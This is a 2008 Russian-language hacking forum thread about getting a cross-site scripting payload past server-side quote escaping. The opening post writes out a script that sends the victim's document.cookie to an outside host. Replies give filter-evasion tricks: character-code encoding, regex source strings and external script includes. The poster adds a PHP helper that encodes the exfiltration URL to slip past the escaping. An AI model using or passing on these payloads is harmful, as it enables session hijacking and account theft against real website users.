Xss и экранирование

Discussion in 'Болталка' started by Ponchik, 15 Jul 2008.

  1. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Кидаю в болталку, т.к. тема примитивная ИМХО :rolleyes:
    Ну в общем на серваке экранирование и жаваскрипт типа
    Code:
    <script>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
    превратится в
    Code:
    <script>img = new Image(); img.src = [COLOR=Red]\"[/COLOR]http://old.antichat.ru/cgi-bin/s.jpg?[COLOR=Red]\"[/COLOR]+document.cookie;</script>
    и работать небудет, чё делать? :rolleyes:
    Те кто знают JS спокойно решают эту проблему, а я без понятия, гуглил, ничё не нащёл...
     
  2. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Закодируй в чаркоды
     
  3. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Чёто как-то нет такой функции как я понял из ошибки жаваскрипта...
    Но ход мысли я понял... Хмм... Ану щас попробую ord()+ord()+... моджет получится :)
    Да в нём и функции ord штоле нету.... :mad:

    Короче пойду я втыкать это хреново шифрование, спасибо

    Погуглив догнал, вот сбацал скрипт, может кому надо будет
    PHP:
    <?php
    $s 
    'http://old.antichat.ru/cgi-bin/s.jpg?';
    $ord = array();
    for(
    $i=0;$i<strlen($s);$i++) {
        
    $ord[] = ord($s[$i]);
    }
    $ord implode(',',$ord);
    echo 
    "String.fromCharCode($ord)";
    ?>
     
    #3 Ponchik, 15 Jul 2008
    Last edited: 15 Jul 2008
  4. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    /строка/.source;
    /строка/.toString().slice(1, -1);

    P.S.
    <script src=http://whatever></script>
     
    #4 astrologer, 15 Jul 2008
    Last edited: 15 Jul 2008
  5. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    инклуд юзай.
    и вообще на вот почитай: _http://ha.ckers.org/xss.html